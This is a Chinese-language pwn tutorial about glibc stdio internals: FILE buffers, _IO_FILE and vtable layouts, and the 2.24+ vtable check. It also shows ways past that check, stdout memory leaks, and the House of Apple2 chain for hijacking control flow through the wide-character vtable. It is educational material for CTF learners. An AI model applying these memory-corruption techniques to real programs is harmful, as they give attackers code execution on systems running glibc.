这篇文章也是paradox师傅写的,内容非常详细,我觉得对初学者来说是很详尽且通俗易懂的文章,当然,封面也是师傅挑的。。。

IO

缓冲区

核心概念

输入/输出是站在当前进程角度说的:

输入:外部对象 -> 当前进程
输出:当前进程 -> 外部对象

外部对象可以是:

终端、socket、pipe、普通文件、设备

程序内部的:

memcpy(dst, src, n);
strcpy(dst, src);
a = b;

不叫 I/O,只是内存操作。

系统调用层

直接用 read/write 时,不经过 libc 的 FILE 缓冲区。

输入

read(fd, target, size);

路径

外部对象/内核缓冲 -> target

意思是从 fd 读数据,直接写到 target。

输出

write(fd, source, size);

路径

source -> 内核缓冲/外部对象

意思是从 source 取数据,写到 fd。

所以:

read(0, buf, 0x20);

是:

stdin/socket -> buf

write(1, buf, 0x20);

是:

buf -> stdout/socket

———

libc FILE 层

使用这些函数时,会经过 FILE 结构:

输入函数:

scanf
fgets
getc/getchar
fread

输出函数:

printf
puts
putchar
fwrite
fprintf

标准流:

stdin -> IO_2_1_stdin
stdout -> IO_2_1_stdout
stderr -> IO_2_1_stderr

FILE 是 libc 对 fd 的封装,里面保存:

fd 编号
缓冲区范围
当前读/写位置
状态 flags

vtable 函数表

———

FILE 主缓冲区

glibc 的 FILE 通常有一块主缓冲区:

_IO_buf_base
_IO_buf_end

含义:

_IO_buf_base:主缓冲区起点
_IO_buf_end :主缓冲区终点

读和写通常复用这块主缓冲区,但不是正常情况下“一半给输入,一半给输出”。

更准确是:

读状态时,这块缓冲区作为输入缓冲区
写状态时,这块缓冲区作为输出缓冲区

FILE 输入缓冲

输入相关字段:

_IO_read_base
_IO_read_ptr
_IO_read_end

含义:

_IO_read_base:输入缓冲区有效数据起点
_IO_read_ptr :当前读到哪里,下一次从这里取
_IO_read_end :有效输入数据结尾

关系:

_IO_read_base <= _IO_read_ptr <= _IO_read_end

图示:

read_base read_ptr read_end
|——————|——————|
已经读过 还没读的数据

例如:

fread(buf, 1, 8, stdin);

如果 stdin 缓冲区里已有足够数据:

stdin->_IO_read_ptr -> buf

然后:

_IO_read_ptr += 8

如果缓冲区不够:

先把剩余数据复制到 buf
再调用 read(fd, _IO_buf_base, size) 补充缓冲区
再继续复制到 buf

如果读取很大,libc 可能绕过 FILE 缓冲区:

fd -> target

FILE 输出缓冲

输出相关字段:

_IO_write_base
_IO_write_ptr
_IO_write_end

含义:

_IO_write_base:待输出数据起点
_IO_write_ptr :当前写到哪里
_IO_write_end :输出缓冲区可写末尾

关系:

_IO_write_base <= _IO_write_ptr <= _IO_write_end

图示:

write_base write_ptr write_end
|——————|——————|
待输出数据 剩余可写空间

例如:

printf(“ABC”);

可能只是:

memcpy(_IO_write_ptr, “ABC”, 3)
_IO_write_ptr += 3

此时数据还在 libc 缓冲区里。

当需要 flush 时:

write(
fp->_fileno,
fp->_IO_write_base,
fp->_IO_write_ptr - fp->_IO_write_base
);

也就是:

_IO_write_base 到 _IO_write_ptr 的内容 -> fd

———

什么时候 flush 输出

输出缓冲区会在这些情况刷新:

缓冲区满
fflush(fp)
fclose(fp)
程序正常 exit
stdout 是终端且遇到换行
stderr 通常无缓冲或少缓冲

flush 的意思是:

libc FILE 缓冲区 -> 底层 fd

不一定是写硬盘。

如果 fd 是 socket:

FILE 缓冲区 -> socket send buffer -> 网络

如果 fd 是终端:

FILE 缓冲区 -> tty -> 屏幕

如果 fd 是普通文件:

FILE 缓冲区 -> page cache -> 之后落盘

即使 fflush 成功,普通文件也通常只是进入内核 page cache;要尽量落盘还需要:

fsync(fileno(fp));

———

什么时候 refill 输入

输入缓冲区空了:

_IO_read_ptr == _IO_read_end

下一次 scanf/getchar/fread 会补充缓冲区:

read(fp->_fileno, fp->_IO_buf_base, size);

也就是:

fd -> FILE 输入缓冲区

然后再从 FILE 缓冲区复制到你的目标变量。

———

内核缓冲区

就算不用 libc FILE 缓冲,内核层通常也有缓冲/缓存。

socket:

网络 -> socket receive buffer -> read() -> 程序
程序 -> write() -> socket send buffer -> 网络

pipe:

写端进程 -> pipe buffer -> 读端进程

普通文件:

读:磁盘 -> page cache -> 程序
写:程序 -> page cache -> 磁盘

终端 tty:

键盘输入 -> tty 输入队列 -> read() -> 程序
程序 write() -> tty 输出队列 -> 屏幕

所以内核层也有“输入侧/输出侧”的概念,但不同对象模型不同。

———

普通文件和 socket 的区别

socket 通常很明确:

receive buffer
send buffer

文件不是这种模型。普通文件主要是:

page cache

同一套 page cache 同时服务读和写:

读:page cache -> 程序
写:程序 -> page cache,标记 dirty,之后写回磁盘

所以文件不是“接收缓冲区/发送缓冲区”,而是“文件页缓存”。

———

FILE 和 fd 的关系

fd 是内核层面的整数句柄,通常指向外部
FILE 是 libc 层面的结构体封装

例如:

printf(“hi”);

大致是:

printf -> stdout FILE 缓冲区 -> write(stdout->_fileno, …)

其中:

stdout->_fileno == 1

直接系统调用:

write(1, “hi”, 2);

则绕过 stdout 的 FILE 缓冲区。

———

pwn 里为什么重要
因为很多程序没有 show,但有:

puts(“menu”);
printf(“choice:”);

这些走 stdout 的 FILE 结构。

如果你能改:

IO_2_1_stdout

就可能影响输出逻辑。

常见泄露本质是让 libc flush 时执行类似:

write(1, fake_write_base, fake_write_ptr - fake_write_base);

于是它会把你指定范围的内存输出出来。

重点字段:

_flags
_IO_write_base
_IO_write_ptr
_IO_write_end
_IO_buf_base
_IO_buf_end
_fileno
_lock
vtable

简单理解:

想让 stdout 泄露:
控制“从哪里输出”和“输出多长”
核心就是 write_base 和 write_ptr
还要保证 fileno 是 1,flags 合理,不触发崩溃

IO_FILE 结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
pwndbg> ptype stdout
type = struct _IO_FILE {
int _flags;
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
char *_IO_write_base; # 本质上是通过修改这个结构体泄露
char *_IO_write_ptr; # 这两个指针地址之间的内容
char *_IO_write_end; # 输出内容的结尾
char *_IO_buf_base; # 缓冲区的基地址
char *_IO_buf_end; # 缓冲区的结束地址
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset;
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
__off64_t _offset;
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
char _unused2[20];
} *

_IO_FILE_plus

1
2
3
4
5
struct _IO_FILE_plus {
_IO_FILE file;
IO_jump_t *vtable;
}
//32 位下的偏移 是0x94,而 64 位下偏移是 0xd8
1
2
3
4
IO_list_all 管理整个 FILE 对象链表:
_IO_list_all -> FILE -> FILE -> FILE
连接字段是 _IO_FILE 里的:
_chain,(具体链表图在下方)

img

进程中的 FILE 结构会通过_chain 域彼此连接形成一个链表,链表头部用全局变量 **_IO_list_all** 表示,通过这个值我们可以遍历所有的 FILE 结构。

在标准 I/O 库中,每个程序启动时有三个文件流是自动打开的:stdin、stdout、stderr。因此在初始状态下,_IO_list_all 指向了一个有这些文件流构成的链表,但是需要注意的是这三个文件流位于 libc.so 的数据段。而我们使用 fopen 创建的文件流是分配在堆内存上的。

_IO_FILE 负责保存这个流的状态:_flags,读缓冲区指针,写缓冲区指针,buf_base / buf_end ,_fileno,_lock,_chain,_mode

vtable 负责保存“这个流该怎么操作”的函数表。

里面是一组函数指针,比如:overflow,underflow ,xsputn ,xsgetn ,seekoff ,close, read ,write

vtable

指向函数虚表的指针

在创建file时,就会根据file的属性对 IO_jump_t类型的指针vtable进行赋值,指向对应类型的函数表(IO_jump_t的对象)的表头,并通过索引去调用具体函数。在理念上确实实现了c++的多态,所以c++的编译器通过将类似这种的c代码进行封装得到的多态(Virtual)

IO_jump_t

一个结构体,根据file的类型形成了诸多对象(实例)eg:_IO_file_jumps、_IO_str_jumps、_IO_wfile_jumps

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// libio/libioP.h
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
/* We always allocate an extra word following an _IO_FILE.
This contains a pointer to the function jump table used.
This is for compatibility with C++ streambuf; the word can
be used to smash to a pointer to a virtual function table. */
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
extern struct _IO_FILE_plus *_IO_list_all;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
struct _IO_jump_t {
size_t __dummy;
size_t __dummy2;

_IO_finish_t __finish;
_IO_overflow_t __overflow;
_IO_underflow_t __underflow;
_IO_underflow_t __uflow;
_IO_pbackfail_t __pbackfail;

_IO_xsputn_t __xsputn;
_IO_xsgetn_t __xsgetn;

_IO_seekoff_t __seekoff;
_IO_seekpos_t __seekpos;
_IO_setbuf_t __setbuf;
_IO_sync_t __sync;
_IO_doallocate_t __doallocate;
_IO_read_t __read;
_IO_write_t __write;
_IO_seek_t __seek;
_IO_close_t __close;
_IO_stat_t __stat;
_IO_showmanyc_t __showmanyc;
_IO_imbue_t __imbue;
};

例子

1
2
用 _IO_wfile_jumps  举一个例子:
其中,带default的都是共用的函数,大都在genops.c里面;new_file和file的大都在fileops.c里面;wdefault是宽字符共用的函数,大都在wgenops.c里面;只有wfile的才是自己单独定义的函数,在wfileops.c里面。从上面可以看出wfile单独定义的操作只有5个。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_new_file_finish),
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
JUMP_INIT(xsputn, _IO_wfile_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_wfile_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
JUMP_INIT(doallocate, _IO_wfile_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
libc_hidden_data_def (_IO_wfile_jumps)

_IO_wfile_jumps 是宽字符普通文件流的 vtable 它通过一张函数表把 wfile 专用函数、wide 默认函数、普通 file 函数和通用 default 函数组合起来(宽字节内容见io_wide)

_flags 标志位

int类型的变量,通过32bit的每一个位置去标记各种信息,类似于堆中size位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4 /* Reading not allowed */
#define _IO_NO_WRITES 8 /* Writing not allowd */
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */
#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
● _IO_MAGIC: 文件流对象的魔数,用来识别是否为有效的文件流对象。魔数是一种用来标识数据结构类型的简单方法。
● _OLD_STDIO_MAGIC: 用来兼容旧版本的stdio库实现。
● _IO_MAGIC_MASK: 用于从文件流对象的标志字段中提取魔数。
● _IO_USER_BUF: 标记用户提供的缓冲区。当设置了这个标志后,在关闭文件时不会释放该缓冲区。
● _IO_UNBUFFERED: 标记文件流是无缓冲的,每次读写操作都会直接访问底层设备。
● _IO_NO_READS: 标记文件流不允许读取操作。
● _IO_NO_WRITES: 标记文件流不允许写入操作。
● _IO_EOF_SEEN: 标记已经到达文件末尾(EOF)。
● _IO_ERR_SEEN: 标记已经发生错误。
● _IO_DELETE_DONT_CLOSE: 在清理文件流时不要调用底层的关闭函数。
● _IO_LINKED: 标记是否链接到 streambuf::_list_all 列表中。
● _IO_IN_BACKUP: 标记备份模式是否启用。
● _IO_LINE_BUF: 标记为行缓冲模式。
● _IO_TIED_PUT_GET: 标记输入输出指针是否逻辑上绑定在一起(通常用于标准输入输出)。
● _IO_CURRENTLY_PUTTING: 标记当前是否处于写入状态。
● _IO_IS_APPENDING: 标记是否在追加模式下。
● _IO_IS_FILEBUF: 标记是否使用内建的缓冲区。
● _IO_BAD_SEEN: 标记是否遇到坏输入。
● _IO_USER_LOCK: 标记用户提供的互斥锁。

_IO_wide_data

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* Extra data for wide character streams.  */
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};

与io_file的联系

*通过观察_IO_wide_data的代码也可以看出,这是类似于io_file的又附属于io_file的结构体。它们属于同一个 FILE fp,共享底层 fd、文件偏移、锁、状态管理。同时也拥有各自的vitable,vitable指向对应的函数表_

1
2
3
4
5
6
7
8
9
vtable 关系
普通路径:
_IO_FILE_plus->vtable
-> _IO_file_jumps / _IO_str_jumps / ...

宽字符路径:
_IO_FILE->_wide_data->_wide_vtable
-> _IO_wfile_jumps / _IO_wstr_jumps / ...
所以二者都有类似“函数表”的机制。

同时也有诸多不同

_io_file是定义普通字节流的,_IO_wide_data是定义宽字节流的。对应产生的就是类型的不同,普通是char*,而宽字节是wchar*

对于缓冲区不是同一块内存,IO_wide_data有自己独立的缓冲区内存

_IO_wide_data 本身没有类似于io_file独立的 _IO_wide_list_all 这种全局链表

代码会根据下面不同的函数调用去使用不同的api接口(普通字节流或宽字节流)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
普通字节 API:
fgets
fread
fscanf
fprintf
printf
puts
fgetc
fputc
走普通 _IO_FILE 字节缓冲区:
char buffer

宽字符 API:
fgetwc
fgetws
fwscanf
fwprintf
wprintf
fputwc
走 _IO_wide_data 宽字符路径:
wchar_t buffer

所以因为其类似的性质,在后续对于vtable的加强检查之下,_IO_wide_data成为另一种攻击思路

_IO_wfile_jumps 是宽字符普通文件流的 vtable 它通过一张函数表把 wfile 专用函数、wide 默认函数、普通 file 函数和通用 default 函数组合起来。

1
2
用 _IO_wfile_jumps  举一个例子:
其中,带default的都是共用的函数,大都在genops.c里面;new_file和file的大都在fileops.c里面;wdefault是宽字符共用的函数,大都在wgenops.c里面;只有wfile的才是自己单独定义的函数,在wfileops.c里面。从上面可以看出wfile单独定义的操作只有5个。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_new_file_finish),
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
JUMP_INIT(xsputn, _IO_wfile_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_wfile_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
JUMP_INIT(doallocate, _IO_wfile_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
libc_hidden_data_def (_IO_wfile_jumps)

虚表检查

用于检查_IO_FILE_plus–>vitable的地址合法性

glibc 2.24+ 的 vtable check 是在通过 FILE->vtable 间接调用函数前,检查 vtable 指针是否落在 libc 内部合法的 IO vtable 区域中。 如果不在,就调用 _IO_vtable_check,通常直接 abort

虚表范围

虚表位置判断主要在IO_validate_vtable函数,2.37以前判断区间为_IO_helper_jumps - _IO_str_jumps之间的区域 0xd60,里面有以下虚表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
_IO_helper_jumps
_IO_helper_jumps
_IO_cookie_jumps
_IO_proc_jumps
_IO_str_chk_jumps
_IO_wstrn_jumps
_IO_wstr_jumps
_IO_wfile_jumps_maybe_mmap
_IO_wfile_jumps_mmap
__GI__IO_wfile_jumps
_IO_wmem_jumps
_IO_mem_jumps
_IO_strn_jumps
_IO_obstack_jumps
_IO_file_jumps_maybe_mmap
_IO_file_jumps_mmap
__GI__IO_file_jumps
_IO_str_jumps

IO_validate_vtable

在 glibc 2.24+ 里大概长这样,位置通常在:libio/libioP.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length =
__stop___libc_IO_vtables - __start___libc_IO_vtables;

uintptr_t ptr = (uintptr_t) vtable;

uintptr_t offset =
ptr - (uintptr_t) __start___libc_IO_vtables;

if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();

return vtable;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
1. __start___libc_IO_vtables 是合法虚表区域起点
2. __stop___libc_IO_vtables 是合法虚表区域终点
3. section_length = 合法区域大小
4. offset = 当前 vtable - 合法区域起点
5. 如果 offset >= section_length,说明 vtable 不在合法区域
6. 调用 _IO_vtable_check()
7. 否则返回 vtable,允许继续调用
所以判断条件本质是:
if (vtable < __start___libc_IO_vtables ||
vtable >= __stop___libc_IO_vtables)
{
_IO_vtable_check();
}

2.37 以前的 vtable check 是区间检查; 只要 vtable 落在 _IO_helper_jumps 到 _IO_str_jumps 这段合法 IO vtables 区域就通过;
因此不能把 vtable 指向堆,但可以指向 libc 内部已有跳表,甚至某些版本可利用区间内偏移做错位调用

_IO_vtable_check

如果不符合vtable的检查,就会进入以下函数

1
2
3
4
5
6
7
8
9
10
void attribute_hidden _IO_vtable_check (void)
{
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check) //检查是否是外部重构的vtable
return;

该函数不是直接vtable错误而后报错,他还会检查当前环境是否允许foreign vtable(即外部虚表,不属于当前 libc __libc_IO_vtables 区域的 vtable),如果允许那么就不会报错,正常调用vtable

代码释意

1
2
3
4
5
1. 读取用原子方式读取 IO_accept_foreign_vtables 的当前值,但不施加强内存顺序约束。
2. 如果启用了指针混淆,就对 flag 解混淆
3. 如果解出来的 flag 等于 _IO_vtable_check 函数地址
4. 说明允许 foreign vtable
5. 直接 return,放行

所以可以看出因为 过去允许一些“外部构造的 stream/vtable”参与 stdio 机制。后来 glibc 加 vtable check 是为了安全,但不能完全破
坏旧程序、特殊动态链接场景或非默认 namespace 场景 ,会有一个兼容开关,去允许外部虚表的使用,但是这个开关受 pointer guard保护,这就联系到了 PTR_MANGLE/PTR_DEMANGLE加解密,对于这个是比较特殊的,他是用一个进程内随机值保护函数指针

这种加解密一般用于保存某些敏感函数指针,不直接保存真实地址

1
2
3
4
5
6
  x86_64 常见形式:
PTR_MANGLE(p):
p = rol(p ^ ptr_guard, 0x11)
PTR_DEMANGLE(p):
p = ror(p, 0x11) ^ ptr_guard
ptr_guard就是用于加解密的随机种子/密钥

所以只要解密后的flag等于&_IO_vtable_check 就可以绕过检查

绕过方法

1
2
3
4
5
泄露ptr_guard,反算IO_accept_foreign_vtables然后修改
条件:
1. 泄露 libc base,得到 &_IO_vtable_check
2. 泄露 ptr_guard
3. 有任意地址写,能写 IO_accept_foreign_vtables
1
2
3
4
5
6
7
8
9
10
不改 IO_accept_foreign_vtables,改 ptr_guard
一般情况下
IO_accept_foreign_vtables = 0
那么:
demangle(0)
= ror(0, 0x11) ^ ptr_guard
= 0 ^ ptr_guard
= ptr_guard
所以只要把:
ptr_guard = &_IO_vtable_check

另外还有重要的一点,ptr_guard与ld强相关,需要ld 文件

因为 ptr_guard 通常和动态链接器 ld.so / TLS 相关,不是 libc 里一个普通符号偏移那么简单,需要通过ld来定位ptr_guard或确认偏移

因为在学习的时候也并没有接触到这种题,所以解释也是个大概

外置虚表

check_stdfiles_vtables函数是设置外置虚表的函数,就是用于打开上面所说的兼容开关,但是一般是在程序启动初始化阶段执行的 它主要用于启动时检查标准流:stdin stdout stderr 的 vtable 是否是正常的 _IO_file_jumps。如果启动时发现这些标准流的 vtable 已经不是默认值,glibc 就认为可能存在旧 ABI / 外部 streambuf 兼容场景,于是打开IO_accept_foreign_vtables

所以如果可以控制执行 check_stdfiles_vtables 也是可以绕过虚表检查的

1
2
3
4
5
6
7
static void  check_stdfiles_vtables (void)
{
if (_IO_2_1_stdin_.vtable != &_IO_file_jumps
|| _IO_2_1_stdout_.vtable != &_IO_file_jumps
|| _IO_2_1_stderr_.vtable != &_IO_file_jumps)
IO_set_accept_foreign_vtables (&_IO_vtable_check);
}

宽字符跳表

是_IO_wide_data 里的 wide vtable; 它负责宽字符 I/O 的函数分发,是普通 FILE vtable 之外的另一套函数表入口。因为glibc 2.36 及以前普通 vtable 有范围检查,但 wide_vtable 的某些引用没有同等保护,所以这是另一种攻击线路

利用手法与实例

知识

1
2
 FILE *fp
fp=fopen("123.txt","rw")

fp 类型为FILE * 指向struct IO_FILE的实例的地址,又因为struct _IO_FILE_plus将 FILE 与vtable包装在一起,所以 fp指向的地址可以理解为,所以FILE与vtable物理相邻

1
2
3
_IO_FILE_plus 对象的起始地址
==里面 file 成员的起始地址
==FILE *fp 的值

二 stdin / stdout / stderr 变量的固定存储

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
进程启动后,程序 .bss 段三个固定位置各存一个 libc 地址,指向 libc
里三个 FILE 结构体本体。

┌──────────┬──────────────┬─────────────────────┬────────────────────┐
│ 程序变量 │ 地址(.bss) │ 存的值(运行时) │ 指向 libc 本体 │
├──────────┼──────────────┼─────────────────────┼────────────────────┤
│ stdin │ 0x4030 │ _IO_2_1_stdin_ 地址 │ libc_base + │
│ │ │ │ 0x2038e0 │
├──────────┼──────────────┼─────────────────────┼────────────────────┤
│ stdout │ 0x4020 │ _IO_2_1_stdout_ │ libc_base + │
│ │ │ 地址 │ 0x2045c0 │
├──────────┼──────────────┼─────────────────────┼────────────────────┤
│ stderr │ 0x4040 │ _IO_2_1_stderr_ │ libc_base + │
│ │ │ 地址 │ 0x2044e0 │
└──────────┴──────────────┴─────────────────────┴────────────────────┘

1. 链接时(磁盘文件)
.bss 里三个位置全是 0,但 .rela.dyn 有三条 COPY 重定位:

off=0x4020 sym=stdout type=R_X86_64_COPY
off=0x4030 sym=stdin type=R_X86_64_COPY
off=0x4040 sym=stderr type=R_X86_64_COPY


2. 程序启动时(ld.so 执行重定位)
ld.so 在 main 之前逐个处理 COPY 项,把 libc 里对应符号的值复制进程序
.bss:

0x4020 ← _IO_2_1_stdout_ 地址
0x4030 ← _IO_2_1_stdin_ 地址
0x4040 ← _IO_2_1_stderr_ 地址

3. 之后任何指令读这三个位置
- printf("gift: %p", *(0x4020)) → 打印 _IO_2_1_stdout_
地址
- read(0, *(0x4020), 0x300) → 往 _IO_2_1_stdout_ 本体写

关键点

- 不靠变量名:CPU只按编译写死的偏移读(0x1191→0x4030、0x11af→0x4020、0x11cd→0x4040)
- 文件里是 0:三个位置都在 .bss,不占文件内容,靠 ld.so 启动时填
- 机制是 COPY 重定位:链接器打标记,运行时 ld.so 复制 libc 符号值进来


stdin/stdout/stderr 是程序 .bss 段里三个 8
字节指针变量(0x4030/0x4020/0x4040),文件里为 0,靠 .rela.dyn 里三条
R_X86_64_COPY 重定位在启动时由 ld.so 填入 libc 里三个 _IO_2_1_*
结构体的地址。之后程序读这三个位置就拿对应 FILE 的 libc 地址。

手法

House of apple2

链1
1
2
3
4
5
6
7
8
利用 _IO_wfile_overflow 函数控制程序执行流:
● _flags = ~(2 | 0x8 | 0x800)
● vtable = _IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap 的地址(加减偏移)
● _wide_data = 可控堆地址A(即满足 *(fp+0xa0)=A)
● _wide_data->_IO_write_base = 0(即满足 *(A+0x18)=0
● _wide_data->_IO_buf_base = 0(即满足 *(A+0x30)=0
● _wide_data->_wide_vtable = 可控堆地址B(即满足 *(A+0xe0)=B)
● _wide_data->_wide_vtable->doallocate = 地址C,用于劫持 RIP(即满足 *(B+0x68)=C)

一些解释与理解

1
2
3
4
5
6
7
8
apple2 链 1 的核心是:glibc 2.24+ 对窄表 vtable 调用有 _IO_vtable_check 校验,而 _wide_data->_wide_vtable的调用(宏 _IO_WDOALLOCATE/_IO_WOVERFLOW)完全无校验,
所以把 fp->vtable(+0xd8) 指向 libc 里合法的表_IO_wfile_jumps(注意:_IO_wfile_overflow 是它 _IO_wfile_jumps+0x18 槽位 __overflow里的函数,不是表指针)来通过校验并充当领路人
再伪造 _wide_data(A,位于 fp+0xa0) 与宽表(B,位于 A+0xe0)两个堆结构

并伪造四个字段——清 _flags 的 0x8(_IO_NO_WRITES,撕掉"禁写"标志让写函数进门)、清0x800(_IO_CURRENTLY_PUTTING) 且令 A+0x18(_IO_write_base)=0(让 _IO_wfile_overflow判定"当前无写缓冲"而去调用 _IO_wdoallocbuf)、令 A+0x30(_IO_buf_base)=0(让 _IO_wdoallocbuf第一行确认"确实无缓冲"不提前 return)、清 0x2(_IO_UNBUFFERED,让 _IO_wdoallocbuf判定"这是需要缓冲的正常流"从而进入分配分支)——从而把执行流一步步逼到裸查宽表的宏 _IO_WDOALLOCATE,它从
B+0x68(doallocate) 槽位取出我们伪造的 C 并执行 call C(fp),至此拿到 RIP;

整个过程依赖 exit/fflush等函数 →_IO_flush_all_lockp 遍历 _IO_list_all 触发(假 fp 还需满足 mode<=0 &&write_ptr>write_base,或 mode>0 &&wide write_ptr>wide write_base),且该宏只传 rdi=fp 一个参数,所以 C 通常选 one_gadget,或setcontext+61(其 mov rsp,[rdi+0xa0] 把栈迁到 A 上打 ROP),若要 system 则把 _flags 布成 " sh\x00" 使 rdi即命令串。

_IO_UNBUFFERED: 标记文件流是无缓冲的,每次读写操作都会直接访问底层设备
_IO_NO_WRITES: 标记文件流不允许写入操作。
